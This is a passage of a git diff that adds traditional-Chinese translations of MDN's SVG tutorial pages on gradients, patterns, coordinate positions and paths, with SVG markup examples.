+        .stop1 { stop-color: red; }
+        .stop2 { stop-color: black; stop-opacity: 0; }
+        .stop3 { stop-color: blue; }
+      ]]&gt;&lt;/style&gt;
+  &lt;/defs&gt;
+
+  &lt;rect id="rect1" x="10" y="10" rx="15" ry="15" width="100" height="100"/&gt;
+  &lt;rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#Gradient2)"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>在上面的例子裡，一個線形漸層被用在<code>&lt;rect&gt;</code>元素上，線形漸層內部有若干 {{SVGElement('stop')}} 節點，它們用來指定漸變應該在什麼位置形成什麼顏色，其中兩個屬性分別是：定義偏移位置的<code>offset</code>屬性和定義顏色的<code>stop-color</code>屬性。另外，它們可以直接設置，或通過CSS設置。上面的例子裡混合使用了這兩種形式。比如，這個例子的漸變是從紅色開始，到中間漸變成黑色，最後漸變到藍色。你可以按照自己的想法設置各種<code>stop-color</code>，但是它們的offset必須是從0%逐漸提高到100%。（如果不加%，就是0-1）。如果有重複的值，不會被分配到xml樹的最後。另外像fill和stroke一樣，你也可以設置一個<code>stop-opacity</code>屬性表示透明度。 （ff3裡這裡也可以用rgba值）</p>
+
+<pre class="eval"> &lt;stop offset="100%" stop-color="yellow" stop-opacity="0.5"/&gt;
+</pre>
+
+<p>使用漸變時，我們需要在對象的fill或stroke屬性裡引用它。就像在CSS里通過<code>url</code>來引用其他元素一樣，在這裡，url引用的是我們給漸變設置的id，所以只需要將fill屬性設置成<code>url(#Gradient) </code>，我們的對象就可以呈現出五彩斑斕的效果。另外你也可以給stroke進行同樣的設置。</p>
+
+<p><code>&lt;linearGradient&gt;</code>元素還可以設置其他一些屬性，用來定義尺寸和样​​式。比如漸變的方向是由兩個點控制的，它們用<code>x1</code>， <code>x2</code>，<code>y1</code>，<code>y2</code>四個屬性控制，形成一條直線，漸變就沿這條直線變化。漸變默認的方向是水平方向，使用這些屬性就可以改變方向。上面例子裡的Gradient2就是一個垂直的漸變。</p>
+
+<pre class="eval"> &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+</pre>
+
+<div class="note">你也可以在漸變中使用<code>xlink:href</code>屬性，它可以將一個漸變的屬性和stop節點，引入到另一個漸變中。在下面的例子裡，我們就不需要在Gradient2裡重新創建許多stop節點。
+
+<pre class="eval"> &lt;linearGradient id="Gradient1"&gt;
+   &lt;stop id="stop1" offset="0%"/&gt;
+   &lt;stop id="stop2" offset="50%"/&gt;
+   &lt;stop id="stop3" offset="100%"/&gt;
+ &lt;/linearGradient&gt;
+ &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"
+    xmlns:xlink="<a class="external" href="http://www.w3.org/1999/xlink" rel="freelink">http://www.w3.org/1999/xlink" xlink:href="#Gradient1"/&gt;
+</a></pre>
+這裡我直接在元素裡定義了xlink的命名空間，通常我們會在文檔的頂部定義它。在 <a href="/en/SVG/Tutorial/Other_content_in_SVG" title="en/SVG/Tutorial/Other content in SVG">talk about images</a> 有更多相關內容。</div>
+
+<p>放射形漸層很類似線形漸層，只不過是從一個點向外發散漸變。在文檔的 defs 段落裡增加一個 {{SVGElement('radialGradient')}} 元素，就可以創建放射形漸層。</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/351/=SVG_Radial_Gradient_Example.png" style="float: right;"></p>
+
+<pre>&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;svg width="120" height="240" version="1.1"
+  xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;radialGradient id="Gradient1"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+      &lt;radialGradient id="Gradient2" cx="0.25" cy="0.25" r="0.25"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#Gradient1)"/&gt;
+  &lt;rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#Gradient2)"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>這個例子的里，放射形漸層中的stop節點在用法上和前面的線形漸層一樣，但是這裡的圖形對像是中間呈紅色，然後向各個方向發散漸變，直到邊緣漸變到藍色。放射形漸層<code>&lt;radialGradient&gt;</code>也有若干用來定義位置和方向的屬性，不過與線形漸層不同，這裡的設置會稍微複雜一點。放射形漸層裡也可以設置兩個點，用來確定它的範圍。第一個點用來定義一個環，限定漸變的範圍。該點包括坐標屬性<code>cx</code>和<code>cy</code>，以及半徑屬性<code>r</code>。定義這三個屬性，就可以改變漸變的位置和大小，就像上面例子裡的第二個漸變效果。</p>
+
+<p>第二個點被稱為焦點，通過坐標屬性<code>fx</code>和<code>fy</code>來確定。第一個點決定的是漸變所處的範圍，而焦點則決定漸變的中心。看例子更好理解：</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/352/=SVG_Radial_Grandient_Focus_Example.png" style="float: right;"></p>
+
+<pre>&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;svg width="120" height="120" version="1.1"
+  xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;radialGradient id="Gradient"
+            cx="0.5" cy="0.5" r="0.5" fx="0.25" fy="0.25"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10" y="10" rx="15" ry="15" width="100" height="100"
+        fill="url(#Gradient)" stroke="b​​lack" stroke-width="2"/&gt;
+
+  &lt;circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/&gt;
+  &lt;circle cx="35" cy="35" r="2" fill="white" stroke="white"/&gt;
+  &lt;circle cx="60" cy="60" r="2" fill="white" stroke="white"/&gt;
+  &lt;text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt"&gt;(fx,fy)&lt;/text&gt;
+  &lt;text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt"&gt;(cx,cy)&lt;/text&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>如果焦點被移動到漸變範圍之外，漸變不可能被正確渲染，所以會被重定義到範圍的邊緣。如果不定義焦點，則默認與漸變範圍的中點是同一點。</p>
+
+<p>兩種漸變都可以通過一些屬性，定義諸如變形等樣式。在這裡僅提其中一個：<code>spreadMethod</code>屬性。當漸變已經到達範圍邊緣，但圖形對像還沒被完全填充時，這一屬性​​將決定接下來會發生什麼。它有三個可用值，"pad", "reflect", 以及 "repeat"。 "pad"的效果你已經看到過了，當漸變到達範圍邊緣，最後一個顏色將用來填充圖形剩下的區域。 "reflect"是繼續漸變，但是會從100%處的顏色漸變會0%的位置，然後再翻過來繼續。 "Repeat"也是讓漸變繼續，不過是跳過返回的過程，直接回到起始狀態，然後重新漸變。</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/353/=SVG_SpreadMethod_Example.png" style="float: right;"></p>
+
+<pre>&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;svg width="220" height="220" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;radialGradient id="Gradient"
+            cx="0.5" cy="0.5" r="0.25" fx=".25" fy=".25"
+            spreadMethod="repeat"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+  &lt;rect x="50" y="50" rx="15" ry="15" width="100" height="100"
+       fill="url(#Gradient)"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>另外，兩個漸變都有一個名為<code>gradientUnits</code>的屬性，它用來決定漸變的單位。它有兩個可用值：<code>userSpaceOnUse</code> or <code>objectBoundingBox</code>。 <code>objectBoundingBox</code>是默認值，表示漸變會使用圖形對象的單位，所以你定義坐標時使用的是0到1，它們會自動計算成你的圖形對象使用的尺寸。 <code>userSpaceOnUse</code>表示要用絕對單位，所以你必須知道你的圖形對象的位置，然後將漸變的位置放在那兒。於是放射形漸層可以這樣寫：</p>
+
+<pre class="eval"> &lt;radialGradient id="Gradient" cx="60" cy="60" r="50" fx="35" fy="35" gradientUnits="userSpaceOnUse"&gt;
+</pre>
+
+<p>你還可以使用<code>gradientTransform</code>屬性創建其他類型的變換，但現在我們還沒說到<a href="/en/SVG/Tutorial/Basic_Transformations" title="en/SVG/Tutorial /Basic Transformations">introduced transforms</a>，所以這些內容會留到後面再講。</p>
+
+<p>當圖形對象的不是方形時，還有一個需要注意的處理方式：<code>gradientUnits="objectBoundingBox"</code>。但是它太複雜了，需要其他專家來講解。</p>
+
+<p>{{ PreviousNext("SVG/Tutorial/Fills_and_Strokes", "SVG/Tutorial/Patterns") }}</p>
diff --git a/files/zh-tw/web/svg/tutorial/index.html b/files/zh-tw/web/svg/tutorial/index.html
new file mode 100644
index 0000000000..d688ac6fe7
--- /dev/null
+++ b/files/zh-tw/web/svg/tutorial/index.html
@@ -0,0 +1,51 @@
+---
+title: SVG教學
+slug: Web/SVG/Tutorial
+translation_of: Web/SVG/Tutorial
+---
+<p><a href="/en/SVG" title="en/SVG">SVG</a>是W3C XML的方言之一，用於標記可縮放的向量圖形。目前在Firefox、Opera、Webkit瀏覽器、IE等瀏覽器中已經部分實作。</p>
+
+<p>本教學之目標在解釋SVG內部的技術細節。如果你只是想要畫出漂亮的圖形，你可以在<a class="external" href="http://inkscape.org/doc/" title="http://inkscape.org/doc/">Inkscape的文件頁面</a>上找到更多有用的資源。或是看看另一個好的SVG介绍：<a class="external" href="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html" title="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html">W3C的SVG入門</a>。</p>
+
+<div class="note">本教學文件還在初期階段，如果你有能力，可以來增加擴展一兩段，寫一整頁的话會更好！</div>
+
+<h5 id="從頭介紹SVG">從頭介紹SVG</h5>
+
+<ul>
+ <li><a href="/zh-TW/SVG/Tutorial/Introduction" title="zh-TW/SVG/Tutorial/Introduction">導論</a></li>
+ <li><a href="/en/SVG/Tutorial/Getting_Started" title="en/SVG/Tutorial/Getting_Started">開始</a></li>
+ <li><a href="/en/SVG/Tutorial/Positions" title="en/SVG/Tutorial/Positions">坐標定位</a></li>
+ <li><a href="/en/SVG/Tutorial/Basic_Shapes" title="en/SVG/Tutorial/Basic_Shapes">基本形状</a></li>
+ <li><a href="/en/SVG/Tutorial/Paths" title="en/SVG/Tutorial/Paths">路徑</a></li>
+ <li><a href="/en/SVG/Tutorial/Fills_and_Strokes" title="en/SVG/Tutorial/Fills_and_Strokes">填充與邊框</a></li>
+ <li><a href="/en/SVG/Tutorial/Gradients" title="en/SVG/Tutorial/Gradients">漸變</a></li>
+ <li><a href="/en/SVG/Tutorial/Patterns" title="en/SVG/Tutorial/Patterns">模式</a></li>
+ <li><a href="/en/SVG/Tutorial/Texts" title="en/SVG/Tutorial/Texts">文字</a></li>
+ <li><a href="/en/SVG/Tutorial/Basic_Transformations" title="en/SVG/Tutorial/Basic_Transformations">基本變换</a></li>
+ <li><a href="/en/SVG/Tutorial/Clipping_and_masking" title="en/SVG/Tutorial/Clipping_and_masking">裁剪和遮罩</a></li>
+ <li><a href="/en/SVG/Tutorial/Other_content_in_SVG" title="en/SVG/Tutorial/Other content in SVG">其他SVG内容</a></li>
+ <li><a href="/en/SVG/Tutorial/Filter_effects" title="en/SVG/Tutorial/Filter effects">濾镜效果</a></li>
+ <li><a href="/en/SVG/Tutorial/SVG_fonts" title="en/SVG/Tutorial/SVG fonts">SVG字型</a></li>
+ <li><a href="/en/SVG/Tutorial/SVG_Image_Tag" title="en/SVG/Tutorial/SVG Image Tag">SVG的Image標籤</a></li>
+ <li><a href="/en/SVG/Tutorial/Tools_for_SVG" title="en/SVG/Tutorial/Tools_for_SVG">SVG工具</a></li>
+</ul>
+
+<p>下面陳列進階主题，需要單獨列出教學。</p>
+
+<h5 id="JavaScript脚本化SVG">JavaScript脚本化SVG</h5>
+
+<p>待定</p>
+
+<h5 id="SVG濾镜教學">SVG濾镜教學</h5>
+
+<p>待定</p>
+
+<h5 id="SVG的SMIL動畫">SVG的SMIL動畫</h5>
+
+<p>待定</p>
+
+<h5 id="在SVG中建立字形">在SVG中建立字形</h5>
+
+<p>待定</p>
+
+<p>{{ languages( { "de": "de/SVG/Tutorial", "fr": "fr/SVG/Tutoriel", "ja": "ja/SVG/Tutorial", "pl": "pl/SVG/Przewodnik", "zh-CN":"zh-CN/SVG/Tutorial" } ) }}</p>
diff --git a/files/zh-tw/web/svg/tutorial/introduction/index.html b/files/zh-tw/web/svg/tutorial/introduction/index.html
new file mode 100644
index 0000000000..44901017bf
--- /dev/null
+++ b/files/zh-tw/web/svg/tutorial/introduction/index.html
@@ -0,0 +1,26 @@
+---
+title: 引言
+slug: Web/SVG/Tutorial/Introduction
+translation_of: Web/SVG/Tutorial/Introduction
+---
+<p>{{ PreviousNext("SVG/Tutorial", "SVG/Tutorial/Getting_Started") }}</p>
+<p><img align="right" alt="" class="internal" src="/@api/deki/files/348/=SVG_Overview.png"><a href="/en/SVG" title="en/SVG">SVG</a>（Scalable Vector Graphics）是<a href="/en/XML" title="en/XML">XML</a>的方言，有点类似XHTML，它可以用来绘制矢量图形，例如右面展示的图形。SVG可以通过定义必要的线和形状来创建一个图形，也可以修改已有的位图，或者将这两种方式结合起来创建图形。图形和其组成部分可以变形，可以合并，也可以通过滤镜完全改变外观。</p>
+<p>SVG于1999年推出，之前有几个相互竞争的格式规范被提交到<a class="external" href="http://www.w3.org" title="en/W3C">W3C</a>，但是都没有完全通过。虽然规范已经出现存在很长时间了，但浏览器实现的进度却比较缓慢，所以目前（2009年）应用在web上的SVG内容并不是很多。即便浏览器实现了一些规范，但实现速度完全不能和竞争技术相比，比如<a href="/en/HTML/Canvas" title="en/HTML/Canvas">HTML Canvas</a>和Adobe Flash，都已经实现了成熟的应用接口。但是SVG也有自身的优点，比如它实现了DOM接口（比Canvas方便），不需要安装第三方插件就可以在浏览器中使用（比Flash方便）。当然，是否使用SVG还要取决于你要实现什么。</p>
+<h3 id="基本要素">基本要素</h3>
+<p>HTML提供了定义标题、段落、表格等等内容的元素。与此类似，SVG也提供了一些元素，用于定义圆形、矩形、简单或复杂的曲线，以及其他形状。一个简单的SVG文档只包含<code>svg</code>根元素，以及基本的形状元素。另外还有一个<code>g</code>元素，它用来把若干个基本形状标记成一个组。</p>
+<p>在上述内容的基础上，SVG可以成为任何复杂的组合图形，SVG支持渐变、旋转、滤镜效果、JavaScript接口等等功能，但是所有这些额外的语言特性，都需要在一个定义好的图形区域内实现。</p>
+<h3 id="Before_you_start" name="Before_you_start">开始之前</h3>
+<p>包括<a class="external" href="http://www.inkscape.org/">Inkscape</a>在内的很多免费应用原生支持SVG格式的文件。但是本教程建议在学习过程中使用XML或文本编辑器，因为想要理解SVG内部的原理，最好的方法就是动手取写一些SVG的标记。各种SVG浏览器是有差别的，因此很可能当你制作了一个SVG图形，并且用一个工具调试正常后，却在另外一个浏览器中无法正常显示。这是因为不同的浏览器支持SVG标准的程度不同，另外，如果你将其他技术和SVG一起使用（比如a href="/en/JavaScript" title="en/JavaScript"&gt;JavaScript和<a href="/en/CSS" title="en/CSS">CSS</a>），也会出现类似的情况。</p>
+<p>并非所有的现代浏览器都支持SVG，<a class="external" href="http://wiki.svg.org/Viewer_Implementations">SVG wiki</a>上有一份比较详细的SVG浏览器列表，Firefox支持SVG 1.5版本中的部分内容，并且支持的程度越来越高。希望通过这里的教程，MDC能帮助开发者理解Gecko内核和其他一些主要实现之间的差异。</p>
+<p>正式开始之前，你需要基本掌握XML或其他像<abbr title="HyperText Markup Language">HTML</abbr>的标记语言，如果你不是很熟悉XML，这里有几个重点一定要记住：</p>
+<ul>
+  <li>SVG的元素和属性必须按标准格式书写，因为XML是区分大小写的（这一点和html不同）</li>
+  <li>SVG里的属性值必须用引号引起来，就算是数值也必须这样做。</li>
+</ul>
+<p>SVG是一个庞大的规范，本教程主要涵盖的是基础内容，一旦掌握了这些内容，你就有能力使用<a href="/en/SVG/Element" title="en/SVG/Element">元素文档</a>和<a href="/en/SVG/Interface" title="en/SVG/Interface">接口文档</a>，去了解其他任何你想要掌握的内容。</p>
+<h3 id="SVG的种类">SVG的种类</h3>
+<p>自从2003年成为W3C推荐标准以来，最接近的“完整版”SVG是1.1版，它基于1.0版，并且增加了更多便于实现的模块化内容，SVG1.1的第二个版本正在制定当中，完整的SVG1.2本来是下一个标准版本，但已经被SVG2.0取代。SVG2.0正在制定当中，它采用了类似CSS3的制定方法，通过若干松散耦合的组件形成一套标准。</p>
+<p>除了完整的SVG标准，W3C工作组还在2003年推出了SVG Tiny和SVG Basic。首先SVG Tiny主要是为性能低的小设备生成图元，而SVG Basic实现和完整版SVG里的很多功能，只是舍弃了难以实现的大型渲染（比如动画）。2008年，SVG Tiny1.2成为W3C推荐标准。</p>
+<p>另外还有一些关于SVG打印规格的项目，增加对多页面和颜色管理的支持，但是这项工作已经终止。</p>
+<p>{{ PreviousNext("SVG/Tutorial", "SVG/Tutorial/Getting_Started") }}</p>
+<p>{{ languages( { "de": "de/SVG/Tutorial/Einführung", "fr": "fr/SVG/Tutoriel/Introduction", "ja": "ja/SVG/Tutorial/Introduction", "zh-CN": "zh-CN/SVG/Tutorial/Introduction" } ) }}</p>
diff --git a/files/zh-tw/web/svg/tutorial/patterns/index.html b/files/zh-tw/web/svg/tutorial/patterns/index.html
new file mode 100644
index 0000000000..a4a8723e39
--- /dev/null
+++ b/files/zh-tw/web/svg/tutorial/patterns/index.html
@@ -0,0 +1,54 @@
+---
+title: 图案
+slug: Web/SVG/Tutorial/Patterns
+translation_of: Web/SVG/Tutorial/Patterns
+---
+<p>{{ PreviousNext("SVG/Tutorial/Gradients", "SVG/Tutorial/Texts") }}</p>
+<p>pattern（图案）是一个比较难理解的填充类型。同时，pattern的作用很强大，所以在这里需要进行一些讨论，以便对填充模式有一个大致的了解。和渐变一样，<a href="/en/SVG/Element/pattern" title="en/SVG/Element/pattern"><code>&lt;pattern&gt;</code></a>元素也需要放在SVG文件的<code>&amp;ltldefs&gt;</code>段落里。</p>
+<p><img align="right" alt="" class="internal" src="/@api/deki/files/350/=SVG_Pattern_Example.png"></p>
+<pre>&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient1"&gt;
+      &lt;stop offset="5%" stop-color="white"/&gt;
+      &lt;stop offset="95%" stop-color="blue"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+      &lt;stop offset="5%" stop-color="red"/&gt;
+      &lt;stop offset="95%" stop-color="orange"/&gt;
+    &lt;/linearGradient&gt;
+
+    &lt;pattern id="Pattern" x=".05" y=".05" width=".25" height=".25"&gt;
+      &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+      &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+      &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+    &lt;/pattern&gt;
+
+  &lt;/defs&gt;
+
+  &lt;rect fill="url(#Pattern)" stroke="black" x="0" y="0" width="200" height="200"/&gt;
+&lt;/svg&gt;</pre>
+<p>在pattern元素里，你可以使用任意的基本图形元素，也可以按照之前所学的方法给它们设置样式，包括渐变和不透明度。在上面的例子里，我们在pattern元素里放了一个圆形和两个矩形元素，它们相互重叠，其中一个矩形是另一个矩形的两倍大小，用来填满pattern。</p>
+<p>pattern最难理解的是定义尺寸和单位。在上面的例子里，我们给pattern元素定义了<code>width</code>和<code>height</code>属性，用来描述pattern占据的尺寸范围，另外还有<code>x</code>和<code>y</code>属性，用来定义pattern起点的偏移量。它们的具体解释如下：</p>
+<p>渐变有<code>gradientUnits</code>属性，pattern也有一个类似的属性<code>patternUnits</code>，用来定义属性采用的单位，它的默认值是objectBoundingBox，等同于pattern采用的宽高缩放比是1。在上面的例子里，我们需要pattern的填充效果在纵向和横向都重复4次，所以width和height设置的值都是0.25，意思是pattern的填充效果的宽和高是整个图形宽高的1/4（0.25）。</p>
+<p>与渐变不同的是，pattern还有另外一个属性<code>patternContentUnits</code>，用来描述pattern内部形状使用的单位，这个属性的默认值是userSpaceOnUse，它与patternUnits属性相反，即：如果你没定义patternContentUnits，也没有定义patternUnits，那么pattern内部采用的坐标单位，会不同于pattern采用的坐标单位。这个地方可能会有一点不好理解。在上面的例子中，我们考虑到这个图形的尺寸是200px见方，pattern需要在纵向和横向都重复4次，这意味着pattern的尺寸是50*50px的正方形，pattern内部的矩形和圆形应该位于50*50px的范围内，任何超出范围的部分都不会被显示。另外，pattern还有10px的偏移量，由于它是从左上角开始显示，所以x和y属性应该是10/200=0.05。</p>
+<p>这里需要说明一下，当图形的尺寸发生变化时，pattern也会自动缩放，适应图形的变化，但是pattern内部的图形不会改变尺寸。所以，尽管我们仍然设置了4次重复，但pattern内部的元素仍然保持原尺寸，所以它们之间有比较大的空白。通过改变<code>patternContentUnits</code>属性，我们可以让所有元素使用同样的单位。</p>
+<pre class="eval"> &lt;pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox"&gt;
+   &lt;rect x="0" y="0" width=".25" height=".25" fill="skyblue"/&gt;
+   &lt;rect x="0" y="0" width=".125" height=".125" fill="url(#Gradient2)"/&gt;
+   &lt;circle cx=".125" cy=".125" r=".1" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+ &lt;/pattern&gt;
+</pre>
+<p>现在，由于pattern内部的元素和pattern本身采用相同的单位，我们就不用再设置偏移量去纠正pattern的起始位置，并且，当图形的尺寸放大时，pattern也会自动缩放，所以pattern内部的元素数目和重复次数都不会变化。这里有一个使用userSpaceOnUse的对比例子，如果图形改变尺寸，pattern会保持原尺寸，并且重复更多次，达到填满图形的效果。</p>
+<p>在Gecko引擎中，如果圆形的半径小于 0.075将会出现一些问题。（这可能是pattern独有的bug，也可能在所有情况下都是bug，尚不确定。）为了避免这种错误出现，应尽量避免使用objectBoundingBox。</p>
+<p>以上这些都不是我们通常理解的pattern。pattern一般会设置一个尺寸，并且独立于图形进行重复。如果像下面这样做，那么pattern和它内部的元素都会被创建在当前用户空间内，并且不会被改变：</p>
+<pre class="eval"> &lt;pattern id="Pattern" x="10" y="10" width="50" height="50" patternUnits="userSpaceOnUse"&gt;
+   &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+   &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+   &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+ &lt;/pattern&gt;
+</pre>
+<p>当然，这意味着当你改变图形的尺寸后，pattern不会缩放。上面提到的三种情况都会被放在下面的例子里，将图形绘制在一个拉长到300px高度的画布上。图示可能并不详尽，你可以在你的应用里改变更多设置项。</p>
+<p><img alt="Image:SVG_Pattern_Comparison_of_Units.png" class="internal" src="/@api/deki/files/349/=SVG_Pattern_Comparison_of_Units.png">o</p>
+<p>{{ PreviousNext("SVG/Tutorial/Gradients", "SVG/Tutorial/Texts") }}</p>
+<p>{{ languages( { "ja": "ja/SVG/Tutorial/Patterns"} ) }}</p>
diff --git a/files/zh-tw/web/svg/tutorial/positions/index.html b/files/zh-tw/web/svg/tutorial/positions/index.html
new file mode 100644
index 0000000000..dbb250d4cd
--- /dev/null
+++ b/files/zh-tw/web/svg/tutorial/positions/index.html
@@ -0,0 +1,51 @@
+---
+title: 座標定位
+slug: Web/SVG/Tutorial/Positions
+tags:
+  - SVG
+  - 'SVG:教程'
+translation_of: Web/SVG/Tutorial/Positions
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p>
+
+<h2 id="The_grid" name="The_grid">網格</h2>
+
+<p><img alt="" src="/@api/deki/files/78/=Canvas_default_grid.png"> 對於所有元素，SVG使用的座標系统或者說網格系統，和<a href="/zh-CN/HTML/Canvas" title="zh-CN/HTML/Canvas">Canvas</a>用的差不多（所有電腦繪圖绘图都差不多）。這種座標系统是：以頁面的左上角為(0,0)坐標點，坐標以像素為單位，x軸正方向是向右，y軸正方向是向下。注意，這和你小時候所教的繪圖方式是相反的。但是在HTML文檔中，元素都是用這種方式定位的。</p>
+
+<h4 id="範例：">範例：</h4>
+
+<p>元素</p>
+
+<pre>&lt;rect x="0" y="0" width="100" height="100" /&gt;
+
+</pre>
+
+<p>定義一个矩形，即從左上角開始，向右延展100px，向下延展100px，形成一个100*100大的矩形。</p>
+
+<h3 id="什麼是_像素">什麼是 "像素"?</h3>
+
+<p>基本上，在 SVG 文檔中的1个像素對應輸出設備（比如螢幕）上的1個像素。但是這種情况是可以改變的，否則 SVG 的名字裡也不至於會有“Scalable”（可縮放）這個詞。如同CSS可以定義字體的絕對大小和相對大小，SVG也可以義絕對大小（比如使用“pt”或“cm”標示單位）同時SVG也能使用相對大小，只需给出數字，不標明單位，輸出時就會採用用戶的單位。</p>
+
+<p>在没有进一步规范说明的情况下，1个用户单位等同于1个屏幕单位。要明确改变这种设定，SVG里有多种方法。我们从<code>svg</code>根元素开始：</p>
+
+<pre>&lt;svg width="100" height="100"&gt;
+
+</pre>
+
+<p>上面的元素定義了一個100*100px的SVG畫布，這裡1用戶單位等同於1螢幕單位。</p>
+
+<pre>&lt;svg width="200" height="200" <strong>viewBox="0 0 100 100"</strong>&gt;
+
+</pre>
+
+<p>這裡定義的畫布尺寸是200*200px。但是，viewBox屬性定義了畫布上可以顯示的區域：從(0,0)點開始，100寬*100高的區域。這個100*100的區域，會放到200*200的畫布上顯示。於是就形成了放大兩倍的效果。</p>
+
+<p>用戶單位和螢幕單位的映射關係被稱為<strong>用戶座標系統</strong>。除了縮放之外，座標系統還可以旋轉、傾斜、翻轉。預設的用戶座標系統1用戶像素等於設備上的1像素（但是設備上可能會自己定義1像素到底是多大）。在定義了具體尺寸單位的SVG中，比如單位是“cm”或“in”，最終圖形會以實際大小的1比1比例呈現。</p>
+
+<p>下面是引自SVG1.1規範的一段說明：</p>
+
+<blockquote>
+<p>[…] 假設在用戶的設備環境裡，1px等於0.2822222毫米（即分辨率是90dpi），那麼所有的SVG內容都會按照這種比例處理： […] "1cm" 等於 "35.43307px" （即35.43307用戶單位）；</p>
+</blockquote>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p>
diff --git a/files/zh-tw/web/svg/tutorial/路径/index.html b/files/zh-tw/web/svg/tutorial/路径/index.html
new file mode 100644
index 0000000000..e0a107f49a
--- /dev/null
+++ b/files/zh-tw/web/svg/tutorial/路径/index.html
@@ -0,0 +1,239 @@
+---
+title: 路徑
+slug: Web/SVG/Tutorial/路径
+tags:
+  - SVG
+translation_of: Web/SVG/Tutorial/Paths
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p>
+
+<p><code><a href="/en-US/Web/SVG/Element/path">&lt;path&gt;</a></code> 元件可說是SVG程式庫中最強大的<a href="/en-US/docs/Web/SVG/Tutorial/Basic_Shapes">基本形狀</a>了，你可以用它來產生線條、曲線、圓弧等形狀。</p>
+
+<p>路徑(paths) 藉由結合多個直線或曲線來產生複雜形狀。路徑和折線雖然可以產生相似外觀的形狀，例如：<span style="font-size: 1rem; letter-spacing: -0.00278rem;">可由</span><a href="/en-US/docs/Web/SVG/Tutorial/Basic_Shapes#Polyline" style="font-size: 1rem; letter-spacing: -0.00278rem;">折線</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;">組成由單純的直線組成的複雜形狀 。但折線需要產生許多小段的直線去模擬曲線的外觀，如果遇到需要放大的情形，會較難 </span>scale。好好瞭解路徑對於繪製 SVG 是重要的。雖然不建議使用XML編輯器或文字編輯器建立複雜路徑，但了解它們的工作原理，將與助於發現和修復 SVG 的顯示問題。</p>
+
+<p>path 元素，由一個屬性定義：{{ SVGAttr("d") }}（可參考<a href="/en-US/docs/Web/SVG/Tutorial/Basic_Shapes">基本形狀</a> ）。 <code>"d"</code> 屬性包含了一系列的指令(command)，以及這些指令各自使用的參數。</p>
+
+<p> </p>
+
+<p>Each of the commands is instantiated (for example, creating a class, naming and locating it) by a specific letter. For instance, let's move to the x and y coordinates (10, 10). The "Move to" command is called with the letter M. When the parser runs into this letter, it knows you want to move to a point. So, to move to (10,10) you would use the command "M 10 10". After that, the parser begins reading for the next command.</p>
+
+<p>All of the commands also come in two variants. An <strong>uppercase letter</strong> specifies absolute coordinates on the page, and a <strong>lowercase letter</strong> specifies relative coordinates (e.g. <em>move from the last point 10px up and 7px to the left</em>).</p>
+
+<p>Coordinates in the <code>"d"</code> attribute are <strong>always unitless</strong> and hence in the user coordinate system. Later, we will learn how paths can be transformed to suit other needs.</p>
+
+<h2 id="Line_commands">Line commands</h2>
+
+<p>There are five line commands for <code>&lt;path&gt;</code> nodes. The first command is the "Move To" or M, which was described above. It takes two parameters, a coordinate  ' x ' and coordinate ' y ' to move to. If your cursor already was somewhere on the page, no line is drawn to connect the two places. The "Move To" command appears at the beginning of paths to specify where the drawing should start. e.g. :</p>
+
+<pre>M x y
+</pre>
+
+<p>or</p>
+
+<pre>m dx dy</pre>
+
